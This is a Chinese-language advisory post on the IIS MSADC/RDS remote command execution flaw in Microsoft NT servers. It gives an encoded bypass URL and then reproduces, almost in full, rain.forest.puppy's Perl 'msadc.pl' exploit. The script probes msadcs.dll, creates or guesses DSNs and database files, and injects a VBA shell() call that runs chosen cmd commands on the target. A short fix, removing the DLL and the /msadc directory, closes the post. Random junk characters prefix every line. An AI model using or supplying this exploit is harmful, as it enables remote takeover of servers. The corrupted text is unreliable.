IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%F:; A o$ }$Z&LK 涉及程序：
/\E3p6\* Microsoft NT server
nD=N MqQ & 1IK* j +% 描述：
F 9q!Upr_+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~P*{%= a Ve40H6 Ox 详细：
]2iEi` "[ 如果你没有时间读详细内容的话，就删除:
W4nhPH( c:\Program Files\Common Files\System\Msadc\msadcs.dll
;g<y{o"Q3p 有关的安全问题就没有了。
OgCNq W
d- SkU9iW(k 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
N#X*
0i" i> {0h3Y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@U =~ c9 关于利用ODBC远程漏洞的描述，请参看:
w+XwPpM0.n [ o
6 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J@ 8O U %+C6#cj 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
pM*(
kN http://www.microsoft.com/security/bulletins/MS99-025faq.asp iN5[x{^t uME_/S uO 这里不再论述。
zN \C KJt6d`ZN 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
+zl [C xb&,9Lxd| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5BM6Pnle 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
mdc sL~R J{n A
?[ )6px5Vwz #将下面这段保存为txt文件，然后: "perl -x 文件名"
!d95gq<=> \|Y_,fi #!perl
5wv7]F< #
| j cIn[)= # MSADC/RDS 'usage' (aka exploit) script
V&lx0Dy #
6Z@T
/"mU( # by rain.forest.puppy
V2 '5doo #
hXD/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]Z*B17// # beta test and find errors!
<s'0<e!./t 65rf=*kz: use Socket; use Getopt::Std;
TW 1#'G_# getopts("e:vd:h:XR", \%args);
X*hPE=2`
p p.x2R,CU print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
nrbP3sf* d$n<^ ~Z if (!defined $args{h} && !defined $args{R}) {
o
ethO print qq~
RE08\gNIt Usage: msadc.pl -h <host> { -d <delay> -X -v }
dl3 }\o_ -h <host> = host you want to scan (ip or domain)
C)% qs] -d <seconds> = delay between calls, default 1 second
s&\krW & -X = dump Index Server path table, if available
Qm*X Wo -v = verbose
fC$@m_-KD -e = external dictionary file for step 5
]q&NO(:kbq y
QGd<( Or a -R will resume a command session
5>~D3?IAd ? Q"1zcX ~; exit;}
+HG*T[%/ U7-*]i k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
lA4TWU (] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Bz>5OuOVS\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,MG`} *N} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}R_R w:W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
d\r-)VWSr" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
F] s:`4 x1}Ono3"T if (!defined $args{R}){ $ret = &has_msadc;
Uyd' uC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F;BCSoO4 ,}wFQ9*|W print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^S!;snhn . "cmd /c ";
`X<a(5[vV3 $in=<STDIN>; chomp $in;
M6].V *k'2 $command="cmd /c " . $in ;
.s KfwcYu4 8 uA!Vrp3 if (defined $args{R}) {&load; exit;}
Jw{ duM;] #RHt;SFx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Af`Tr6) &try_btcustmr;
gq="& W mx3@] < print "\nStep 2: Trying to make our own DSN...";
+M<W8KF &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
'c 3'eJ0 B|'}HBkP print "\nStep 3: Trying known DSNs...";
D/hq~- g &known_dsn;
m!]J{OGG: q)J5tBfJ print "\nStep 4: Trying known .mdbs...";
DZ9^>`* &known_mdb;
j}6h}E&dEr V~ do6[( if (defined $args{e}){
tjx|;m7 print "\nStep 5: Trying dictionary of DSN names...";
i>dFpJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jWdZ ]0m g2A#BMe'.$ print "Sorry Charley...maybe next time?\n";
?F*I2rt# exit;
%al
5 { S27s Rxfr ##############################################################################
UKPr[ ,RP 9v* sub sendraw { # ripped and modded from whisker
d$Y_vX< sleep($delay); # it's a DoS on the server! At least on mine...
(;-_j / my ($pstr)=@_;
3jHg9M23[^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J|<C;[du> die("Socket problems\n");
Np/vPaAk if(connect(S,pack "SnA4x8",2,80,$target)){
U=5~]0g select(S); $|=1;
M4% 3a j print $pstr; my @in=<S>;
"{zqXM}:C select(STDOUT); close(S);
ImbA2Gcs return @in;
</aQ } else { die("Can't connect...\n"); }}
"F4 3q8 P ?-8DS5 ##############################################################################
m) Wq *&,o Jm"W+! E sub make_header { # make the HTTP request
>P//]n n my $msadc=<<EOT
jB l$r{L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@#;*e] 1a User-Agent: ACTIVEDATA
\C4 wWh-A Host: $ip
<2~DI0pp( Content-Length: $clen
<qEBF`XP = Connection: Keep-Alive
:[0 )Uu{ .K`n;lVs ADCClientVersion:01.06
-<M+ $ hK\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"bQi+@ =YD<q:n4 --!ADM!ROX!YOUR!WORLD!
ukRmjHbL f Content-Type: application/x-varg
$aN%[ Content-Length: $reqlen
aIh} j, QS1lg EOT
($W%&(:/ ; $msadc=~s/\n/\r\n/g;
zS h9`F return $msadc;}
*zW]IQ'A |$~]|SK ##############################################################################
v5U'ky : Oqq' r "S sub make_req { # make the RDS request
ze21Uj1 x* my ($switch, $p1, $p2)=@_;
{JF"PAS7 my $req=""; my $t1, $t2, $query, $dsn;
'yV*eG?^& ]q4(%Q if ($switch==1){ # this is the btcustmr.mdb query
VE }r'MBk $query="Select * from Customers where City=" . make_shell();
r 3KNRr@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
0)ZLdF_6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Qqk(,1u iSg0 X8J) elsif ($switch==2){ # this is general make table query
emB<{kOkw $query="create table AZZ (B int, C varchar(10))";
o2q-x2uB $dsn="$p1";}
T8Q _JQ Hi*|f!,H? elsif ($switch==3){ # this is general exploit table query
B]E c $query="select * from AZZ where C=" . make_shell();
#^R@E Z $dsn="$p1";}
M^>l>?#rl lcgG5/82 elsif ($switch==4){ # attempt to hork file info from index server
-Q &@P3x $query="select path from scope()";
z4$9,p
` $dsn="Provider=MSIDXS;";}
:R>RCR2 g) k 8%@PC$ elsif ($switch==5){ # bad query
N
Z ,} v3 $query="select";
PN:` SWP $dsn="$p1";}
.k
+>T*c{ Ih4$MG6QC $t1= make_unicode($query);
P"]l/ $t2= make_unicode($dsn);
gGx(mX._L? $req = "\x02\x00\x03\x00";
oN%zpz;OR $req.= "\x08\x00" . pack ("S1", length($t1));
6a_U[-a9; $req.= "\x00\x00" . $t1 ;
{<-wm-]mo $req.= "\x08\x00" . pack ("S1", length($t2));
DiTpjk ]c` $req.= "\x00\x00" . $t2 ;
2)T;N`tNw $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
O'{kNr{u return $req;}
~*<`PD O? 9Oo`4 ##############################################################################
GlRjbNW?Q yPs6_Qo!p sub make_shell { # this makes the shell() statement
>Gk<a return "'|shell(\"$command\")|'";}
po,U e>n/ %[M0TE=J ##############################################################################
J9DI( ` { 9.UeVz sub make_unicode { # quick little function to convert to unicode
3IB9- wG my ($in)=@_; my $out;
S8v?H|r m for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
p
. P#S return $out;}
;Krb/qr4_ w5
] lU ##############################################################################
%Lb
cwh(9 \NEk B&^n sub rdo_success { # checks for RDO return success (this is kludge)
)+=Kh$VbS my (@in) = @_; my $base=content_start(@in);
Z @ef2y; if($in[$base]=~/multipart\/mixed/){
,2 +d+Zuh return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-Fu,oEj{* return 0;}
|5X59!
JL xXa4t4 gR ##############################################################################
T?6<1nU) dqo-.,= sub make_dsn { # this makes a DSN for us
1~3dX[& my @drives=("c","d","e","f");
:]CL}n$* print "\nMaking DSN: ";
Oh>hy Y)} foreach $drive (@drives) {
@)vQ>R\ k< print "$drive: ";
"@/pQoLy my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`~"'\Hw "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:@ VC Kq! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,S(s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5MD' AP: return 0 if $2 eq "404"; # not found/doesn't exist
(E&M[hH+ if($2 eq "200") {
ZbjUOlE02 foreach $line (@results) {
,J-|.ER-> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
p ]/[ji } return 0;}
VmN 7a6a P8|ANe1
v ##############################################################################
yFQaNuZPC 4
2DMmwB sub verify_exists {
u/-EVCHr
y my ($page)=@_;
_nEVmz!zg my @results=sendraw("GET $page HTTP/1.0\n\n");
&zJ*afi) return $results[0];}
\=mL L|a +zq"dj_ ##############################################################################
U{LS_VI~ aNNR w(0/ sub try_btcustmr {
u%E8&T8, my @drives=("c","d","e","f");
U1pE2o- my @dirs=("winnt","winnt35","winnt351","win","windows");
p@uHzu7 b4bd^nrqV foreach $dir (@dirs) {
?Tu =-pp w print "$dir -> "; # fun status so you can see progress
N- knhA foreach $drive (@drives) {
" zD9R4\X. print "$drive: "; # ditto
SK^(7Ws~0 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
R8eBIJ/@_ $reqlenlen=length( "$reqlen" );
Dq$1
j%4Y $clen= 206 + $reqlenlen + $reqlen;
~gGkw# g ,M-[o=Fk my @results=sendraw(make_header() . make_req(1,$drive,$dir));
d;wq@ e if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
js"5{w& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)oz2V9X{ &GJVFr~z ##############################################################################
F;h^o !W7r B)1( sub odbc_error {
K[0z$T\
my (@in)=@_; my $base;
D15-pz|Q my $base = content_start(@in);
u a_w5o7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
g\@ .qKF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S.1>bs2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ol+D"k~<C $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]?w z. return $in[$base+4].$in[$base+5].$in[$base+6];}
3&AJN#c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
GiEt;8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.Y?]r6CC/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
LP|YW*i=IQ rxyeix ##############################################################################
JS%LJ _J w5~j|c=_W sub verbose {
-l[$+Kw1S my ($in)=@_;
xS5 -m6/ return if !$verbose;
]4 c+{ print STDOUT "\n$in\n";}
.74 C~{}$ Pmd[2/][ ##############################################################################
xT*c## <!UnH6J.b sub save {
kh2TD xa& my ($p1, $p2, $p3, $p4)=@_;
PsXCpyY!s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FdzdoMY print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'ROz| iJ close OUT;}
?Z?(ky! x 4L3Z_ _ ##############################################################################
q{f\_2[ RJer x:] sub load {
hCr,6nc C my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/_{ZWLi( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
\gP MYMd @p=<IN>; close(IN);
2gZp
O9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<,n:w[+!`P $target= inet_aton($ip) || die("inet_aton problems");
4m91X D print "Resuming to $ip ...";
nQ+5jGP1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
FjtS if($p[1]==1) {
k_wcol,W $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5 m-/N ?c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
$`/UG0rdC my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w?|qKO if (rdo_success(@results)){print "Success!\n";}
a~_JTH 4=t else { print "failed\n"; verbose(odbc_error(@results));}}
]Y Fjz/f elsif ($p[1]==3){
.IdbaH
_a if(run_query("$p[3]")){
4* >j:1 print "Success!\n";} else { print "failed\n"; }}
)?(Ux1:w) elsif ($p[1]==4){
ln=fq: if(run_query($drvst . "$p[3]")){
EC[]L'IL print "Success!\n"; } else { print "failed\n"; }}
v^t7)nx^ exit;}
2z;3NUL$n 5 >0\= ##############################################################################
4=| Q2qgFV M 80Q6 K sub create_table {
pFNU~y'Kf my ($in)=@_;
NiW9/(;x B $reqlen=length( make_req(2,$in,"") ) - 28;
(&/ 4wI^M $reqlenlen=length( "$reqlen" );
l9a81NF{s $clen= 206 + $reqlenlen + $reqlen;
4aBVO%t my @results=sendraw(make_header() . make_req(2,$in,""));
ppvlU H5; return 1 if rdo_success(@results);
!8[A;+o3P my $temp= odbc_error(@results); verbose($temp);
q@[F|EF= return 1 if $temp=~/Table 'AZZ' already exists/;
*9kg \# return 0;}
Z Se30Rl\ X 5
or5v ##############################################################################
~i?A! xi "3NF%= sub known_dsn {
z|%Pi J , # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
X5[t6q! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
{x,)OgK!{ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<iU@ M31 "banner", "banners", "ads", "ADCDemo", "ADCTest");
np6G~0Y` 2v4K3O60G foreach $dSn (@dsns) {
} f&=} print ".";
Zf!Q4a" next if (!is_access("DSN=$dSn"));
,;w ~ VZ4 if(create_table("DSN=$dSn")){
Y]0c%Fd print "$dSn successful\n";
g*YA~J@ if(run_query("DSN=$dSn")){
u$[8Zmgzz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GEf=A.WAfw print "Something's borked. Use verbose next time\n";}}} print "\n";}
PN]hG,q*4O E\s1p: % ##############################################################################
y _"V=: ROQ]sQpk sub is_access {
a_5s' Dh my ($in)=@_;
{O y|c $reqlen=length( make_req(5,$in,"") ) - 28;
"%^_.Db>| $reqlenlen=length( "$reqlen" );
[[A O6.Z $clen= 206 + $reqlenlen + $reqlen;
B47 I?~{ my @results=sendraw(make_header() . make_req(5,$in,""));
o(Z~J}l({ my $temp= odbc_error(@results);
AkS16A verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b:Zh|- return 0;}
c]#}#RJ`\ *.>@ ##############################################################################
W&
0R/y7 +O 7(
>a sub run_query {
;#v3C; my ($in)=@_;
16 `M=R $reqlen=length( make_req(3,$in,"") ) - 28;
|au`ph5 $reqlenlen=length( "$reqlen" );
+)q ,4+K%} $clen= 206 + $reqlenlen + $reqlen;
v8y Cf7+" my @results=sendraw(make_header() . make_req(3,$in,""));
{*GBUv5 return 1 if rdo_success(@results);
_h}(j Ed! my $temp= odbc_error(@results); verbose($temp);
T&pCLvk z return 0;}
=oL:|$Pj PL$XXj>|: ##############################################################################
8HBwcXYoHh I P# vfM sub known_mdb {
TA*}p=?6?! my @drives=("c","d","e","f","g");
]YhQQH1> ] my @dirs=("winnt","winnt35","winnt351","win","windows");
>_yL@^ my $dir, $drive, $mdb;
0/f|ZH ~! my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,(x` zpp _ }>BNdm"Er # this is sparse, because I don't know of many
Bj \
x my @sysmdbs=( "\\catroot\\icatalog.mdb",
K a(B&. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'{
=F/q "\\system32\\certmdb.mdb",
P`Ku.
ONQ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Fh)xm* u( jH<Sf: Y( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
SEzjc ~ @3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
,ESli/6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f]%S FQ+ "\\cfusion\\cfapps\\security\\realm_.mdb",
h?n?3x!( "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_ %2ukuJ ` "\\cfusion\\database\\cfexamples.mdb",
&57~i=A
3 "\\cfusion\\database\\cfsnippets.mdb",
uVU)LOx "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
' abEY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}?mSMqnB "\\cfusion\\brighttiger\\database\\cleam.mdb",
mq4Zy3H "\\cfusion\\database\\smpolicy.mdb",
"M
iJM+, "\\cfusion\\database\cypress.mdb",
b;
C}=gg "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/fT"WaTEK "\\website\\cgi-win\\dbsample.mdb",
M]{ ~T 7n- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
v0)Y, hW "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QlMLWi ); #these are just
us|Hb foreach $drive (@drives) {
*Ts$Hj[ foreach $dir (@dirs){
"QXnE^ foreach $mdb (@sysmdbs) {
kK 4 a;j.# print ".";
>Df; 1:U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]m 3c m print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+0%r@hTv&> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
56s%Qlgx print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)JTQZ,f3] } else { print "Something's borked. Use verbose next time\n"; }}}}}
ZJ2
MbV.6 (n B[aM foreach $drive (@drives) {
tb~E. Lm\ foreach $mdb (@mdbs) {
v4|TQ8!wR print ".";
$nmt&lm if(create_table($drv . $drive . $dir . $mdb)){
+jB; print "\n" . $drive . $dir . $mdb . " successful\n";
_w?!Mu if(run_query($drv . $drive . $dir . $mdb)){
bv]SR_Tiq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
fWEQ vQ } else { print "Something's borked. Use verbose next time\n"; }}}}
M("sekL }
w#A\(z%;x i,;eW&
##############################################################################
z-gMk@l d6tv4Cf sub hork_idx {
sNpA!!\PM print "\nAttempting to dump Index Server tables...\n";
2=K|kp5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
sHBTB6)lx $reqlen=length( make_req(4,"","") ) - 28;
ghB&wOm/ $reqlenlen=length( "$reqlen" );
OV;VsF $clen= 206 + $reqlenlen + $reqlen;
| VaJ70\o my @results=sendraw2(make_header() . make_req(4,"",""));
3^
UoK if (rdo_success(@results)){
_p: n\9k my $max=@results; my $c; my %d;
k6(</uRj for($c=19; $c<$max; $c++){
P2 jh[a% $results[$c]=~s/\x00//g;
dcmf~+T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=6ru%.8U, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1gBLJ0q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
jcj8w $d{"$1$2"}="";}
N}n3 +F foreach $c (keys %d){ print "$c\n"; }
CQ6 I4k } else {print "Index server doesn't seem to be installed.\n"; }}
H0 "'jd J'ce?_\?PY ##############################################################################
O(%6/r`L,k 3\P*"65 sub dsn_dict {
Gf#l ^yr open(IN, "<$args{e}") || die("Can't open external dictionary\n");
diu"Nt while(<IN>){
&':C"_|&r $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cd 1-2-4U next if (!is_access("DSN=$dSn"));
iu pkb if(create_table("DSN=$dSn")){
MQw}R7 print "$dSn successful\n";
%+Nng<_U\T if(run_query("DSN=$dSn")){
64U|]g d$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!? ZR_=Y% print "Something's borked. Use verbose next time\n";}}}
.+XK>jl + print "\n"; close(IN);}
G.L}VpopM 7P(o!%H ##############################################################################
o S%(~])\ ldp9+7n~ sub sendraw2 { # ripped and modded from whisker
y[l{
UBue: sleep($delay); # it's a DoS on the server! At least on mine...
I>nYI|o1 my ($pstr)=@_;
Ek `bPQ5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<S7SH-{_\ die("Socket problems\n");
j$_?g!I=gK if(connect(S,pack "SnA4x8",2,80,$target)){
^cPVnl print "Connected. Getting data";
&S+*1 <|`K open(OUT,">raw.out"); my @in;
z6J12tu select(S); $|=1; print $pstr;
K!ogpd&X& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$#n9C79Z@ close(OUT); select(STDOUT); close(S); return @in;
BQWg L } else { die("Can't connect...\n"); }}
{:"<E? + vzfMME17 ##############################################################################
25`W"x_ N}VoO0 I sub content_start { # this will take in the server headers
53aJnxX my (@in)=@_; my $c;
q['D?)sy for ($c=1;$c<500;$c++) {
{9Qc\Ij if($in[$c] =~/^\x0d\x0a/){
-6-rX D if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ww 8U{f else { return $c+1; }}}
)?radg return -1;} # it should never get here actually
`_)9e GQ U}X'RCM ##############################################################################
)vOBF5 %fS1g Sf h sub funky {
< Ez@cZ" my (@in)=@_; my $error=odbc_error(@in);
0$`pYW] if($error=~/ADO could not find the specified provider/){
] +%`WCr9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
[g@qZ5I. exit;}
m[y~-n if($error=~/A Handler is required/){
Gev\bQa print "\nServer has custom handler filters (they most likely are patched)\n";
p#4*:rpq4 exit;}
|=:@<0.' if($error=~/specified Handler has denied Access/){
X:`=\D print "\nServer has custom handler filters (they most likely are patched)\n";
bQI :N exit;}}
/cdLMm: um$U3'0e ##############################################################################
<Tgubv+J 1&e8vVN sub has_msadc {
8g{Mv#b % my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ygg+=@].@ my $base=content_start(@results);
; 8vB7|54. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
D +0il=5 return 0;}
r,IekFBs 9= iMP~?xF ########################
d!<>Fh^6, J|U~W
kW oq|o"n)~ 解决方案：
KQ9w>!N[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
rC|nE =i 2、移除web 目录: /msadc
